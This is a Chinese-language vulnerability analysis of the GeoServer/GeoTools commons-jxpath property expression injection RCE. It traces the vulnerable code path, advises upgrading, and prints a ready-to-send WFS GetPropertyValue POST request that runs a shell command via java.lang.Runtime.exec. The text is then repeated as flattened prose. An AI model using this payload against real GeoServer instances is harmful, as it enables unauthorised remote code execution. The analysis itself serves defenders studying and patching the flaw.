GeoServer_property_expression_injection学习
字数 1333 2025-08-22 18:37:14

GeoServer Property Expression Injection 漏洞分析与利用

漏洞概述

GeoServer 2.23.6、2.24.4 和 2.25.2 之前版本存在远程代码执行漏洞,该漏洞源于 GeoServer 使用的第三方库 GeoTools 使用了不安全的 commons-jxpath 引擎处理 xpath 语句,导致攻击者能够通过发送各类 OGC 请求控制复杂的 xpath 表达式并注入恶意代码实现 RCE。

漏洞标识符:GHSA-6jj6-gm7p-fcvv

受影响的请求类型

可通过以下 OGC 请求利用此漏洞:

  • WFS GetFeature
  • WFS GetPropertyValue
  • WMS GetMap
  • WMS GetFeatureInfo
  • WMS GetLegendGraphic
  • WPS Execute

环境搭建

  1. 下载受影响版本的 GeoServer:

    • https://sourceforge.net/projects/geoserver/files/GeoServer/2.25.1/geoserver-2.25.1-bin.zip/download
  2. 也可以使用 p 神的环境直接远程调试

漏洞复现

发送以下 POST 请求:

POST /geoserver/wfs HTTP/1.1
Host: 192.168.177.146:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 355

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(), 'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>

漏洞分析

漏洞根源

漏洞根源在于 commons-jxpath 库的不安全使用,该库用于处理 xpath 表达式。

请求处理流程

  1. 请求首先经过 handleRequestInternal:268, Dispatcher (org.geoserver.ows) 方法
  2. 调用到 getPropertyValue 方法
  3. 实例化 GetPropertyValue 对象后调用 run 方法

run 方法关键逻辑

public ValueCollectionType getPropertyValue(GetPropertyValueType request) throws WFSException {
    return new GetPropertyValue(getServiceInfo(), getCatalog(), filterFactory).run(request);
}

run 方法详细分析

  1. 首先检查 valueReference 是否为空:

    if (request.getValueReference() == null) {
        throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
            .locator("valueReference");
    } else if ("".equals(request.getValueReference().trim())) {
        throw new WFSException(
            request, "ValueReference cannot be empty", ServiceException.INVALID_PARAMETER_VALUE)
            .locator("valueReference");
    }
    
  2. 构建 GetFeature 请求:

    GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType();
    getFeature.setBaseUrl(request.getBaseUrl());
    getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression());
    getFeature.setResolve(request.getResolve());
    getFeature.setResolveDepth(request.getResolveDepth());
    getFeature.setResolveTimeout(request.getResolveTimeout());
    getFeature.setCount(request.getCount());
    
  3. 执行 GetFeature 请求:

    FeatureCollectionType fc = (FeatureCollectionType) delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee();
    
  4. 获取查询信息:

    QueryType query = (QueryType) request.getAbstractQueryExpression();
    QName typeName = (QName) query.getTypeNames().iterator().next();
    FeatureTypeInfo featureType = catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart());
    
  5. 关键处理部分:

    PropertyName propertyName = filterFactory.property(request.getValueReference(), getNamespaceSupport());
    PropertyName propertyNameNoIndexes = filterFactory.property(request.getValueReference().replaceAll("\
    

\[\\d+\ \]

", ""), getNamespaceSupport());
AttributeDescriptor descriptor = (AttributeDescriptor) propertyNameNoIndexes.evaluate(featureType.getFeatureType());
boolean featureIdRequest = FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
if (descriptor == null && !featureIdRequest) {
throw new WFSException(request, "No such attribute: " + request.getValueReference());
}


### evaluate 方法分析

处理逻辑在 `evaluate` 方法中,最终会调用到 `AttributeExpressionImpl.java` 类的 `evaluate` 方法:

1. 首先尝试使用缓存的访问器:
```java
PropertyAccessor accessor = lastAccessor;
if (accessor != null && accessor.canHandle(obj, attPath, target)) {
    try {
        value = accessor.get(obj, attPath, target);
        success = true;
    } catch (Exception e) {
        // fine, we'll try another accessor
    }
}
  1. 如果缓存访问器失败,寻找其他合适的访问器:
    if (!success) {
        if (namespaceSupport != null && hints == null) {
            hints = new Hints(PropertyAccessorFactory.NAMESPACE_CONTEXT, namespaceSupport);
        }
        List<PropertyAccessor> accessors = PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints);
        List<Exception> exceptions = null;
        if (accessors != null) {
            for (PropertyAccessor propertyAccessor : accessors) {
                accessor = propertyAccessor;
                try {
                    value = propertyAccessor.get(obj, attPath, target);
                    success = true;
                    break;
                } catch (Exception e) {
                    if (exceptions == null) {
                        exceptions = new ArrayList<>();
                    }
                    exceptions.add(e);
                }
            }
        }
    }
    

最终执行点

找到的属性访问器是 FeaturePropertyAccessorFactory$FeaturePropertyAccessor,其 get 方法如下:

public <T> T get(Object object, String xpath, Class<T> target) throws IllegalArgumentException {
    JXPathContext context = JXPathUtils.newSafeContext(object, false, this.namespaces, true);
    Iterator it = context.iteratePointers(xpath);
    List results = new ArrayList<>();
    while (it.hasNext()) {
        Pointer pointer = (Pointer) it.next();
        if (pointer instanceof AttributeNodePointer) {
            results.add(((AttributeNodePointer) pointer).getImmediateAttribute());
        } else {
            results.add(pointer.getValue());
        }
    }
    if (results.isEmpty()) {
        throw new IllegalArgumentException("x-path gives no results.");
    } else if (results.size() == 1) {
        return (T) results.get(0);
    } else {
        return (T) results;
    }
}

关键点在于 iteratePointers 方法,最终会在 commons-jxpath 库中解析我们的输入。

命令执行流程

  1. 最终会调用到 Function.invoke 方法:

    public Object invoke(ExpressionContext context, Object[] parameters) {
        try {
            Object target;
            Object[] args;
            if (Modifier.isStatic(method.getModifiers())) {
                target = null;
                if (parameters == null) {
                    parameters = EMPTY_ARRAY;
                }
                int pi = 0;
                Class[] types = method.getParameterTypes();
                if (types.length >= 1 && ExpressionContext.class.isAssignableFrom(types[0])) {
                    pi = 1;
                }
                args = new Object[parameters.length + pi];
                if (pi == 1) {
                    args[0] = context;
                }
                for (int i = 0; i < parameters.length; i++) {
                    args[i + pi] = TypeUtils.convert(parameters[i], types[i + pi]);
                }
            } else {
                int pi = 0;
                Class[] types = method.getParameterTypes();
                if (types.length >= 1 && ExpressionContext.class.isAssignableFrom(types[0])) {
                    pi = 1;
                }
                target = TypeUtils.convert(parameters[0], method.getDeclaringClass());
                args = new Object[parameters.length - 1 + pi];
                if (pi == 1) {
                    args[0] = context;
                }
                for (int i = 1; i < parameters.length; i++) {
                    args[pi + i - 1] = TypeUtils.convert(parameters[i], types[i + pi - 1]);
                }
            }
            return method.invoke(target, args);
        } catch (Throwable ex) {
            if (ex instanceof InvocationTargetException) {
                ex = ((InvocationTargetException) ex).getTargetException();
            }
            throw new JXPathInvalidAccessException("Cannot invoke " + method, ex);
        }
    }
    
  2. 判断方法类型后调用对应的 invoke 方法执行命令

Payload 解析

<wfs:GetPropertyValue service='WFS' version='2.0.0' 
    xmlns:topp='http://www.openplans.org/topp' 
    xmlns:fes='http://www.opengis.net/fes/2.0' 
    xmlns:wfs='http://www.opengis.net/wfs/2.0'>
    <wfs:Query typeNames='sf:archsites'/>
    <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), 'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>
  • typeNames 属性指定了要查询的要素类型
  • valueReference 元素指定了需要提取的具体属性路径,这里注入的是恶意 xpath 表达式

修复建议

升级到以下或更高版本:

  • GeoServer 2.23.6
  • GeoServer 2.24.4
  • GeoServer 2.25.2
GeoServer Property Expression Injection 漏洞分析与利用 漏洞概述 GeoServer 2.23.6、2.24.4 和 2.25.2 之前版本存在远程代码执行漏洞,该漏洞源于 GeoServer 使用的第三方库 GeoTools 使用了不安全的 commons-jxpath 引擎处理 xpath 语句,导致攻击者能够通过发送各类 OGC 请求控制复杂的 xpath 表达式并注入恶意代码实现 RCE。 漏洞标识符:GHSA-6jj6-gm7p-fcvv 受影响的请求类型 可通过以下 OGC 请求利用此漏洞: WFS GetFeature WFS GetPropertyValue WMS GetMap WMS GetFeatureInfo WMS GetLegendGraphic WPS Execute 环境搭建 下载受影响版本的 GeoServer: https://sourceforge.net/projects/geoserver/files/GeoServer/2.25.1/geoserver-2.25.1-bin.zip/download 也可以使用 p 神的环境直接远程调试 漏洞复现 发送以下 POST 请求: 漏洞分析 漏洞根源 漏洞根源在于 commons-jxpath 库的不安全使用,该库用于处理 xpath 表达式。 请求处理流程 请求首先经过 handleRequestInternal:268, Dispatcher (org.geoserver.ows) 方法 调用到 getPropertyValue 方法 实例化 GetPropertyValue 对象后调用 run 方法 run 方法关键逻辑 run 方法详细分析 首先检查 valueReference 是否为空: 构建 GetFeature 请求: 执行 GetFeature 请求: 获取查询信息: 关键处理部分: evaluate 方法分析 处理逻辑在 evaluate 方法中,最终会调用到 AttributeExpressionImpl.java 类的 evaluate 方法: 首先尝试使用缓存的访问器: 如果缓存访问器失败,寻找其他合适的访问器: 最终执行点 找到的属性访问器是 FeaturePropertyAccessorFactory$FeaturePropertyAccessor ,其 get 方法如下: 关键点在于 iteratePointers 方法,最终会在 commons-jxpath 库中解析我们的输入。 命令执行流程 最终会调用到 Function.invoke 方法: 判断方法类型后调用对应的 invoke 方法执行命令 Payload 解析 typeNames 属性指定了要查询的要素类型 valueReference 元素指定了需要提取的具体属性路径,这里注入的是恶意 xpath 表达式 修复建议 升级到以下或更高版本: GeoServer 2.23.6 GeoServer 2.24.4 GeoServer 2.25.2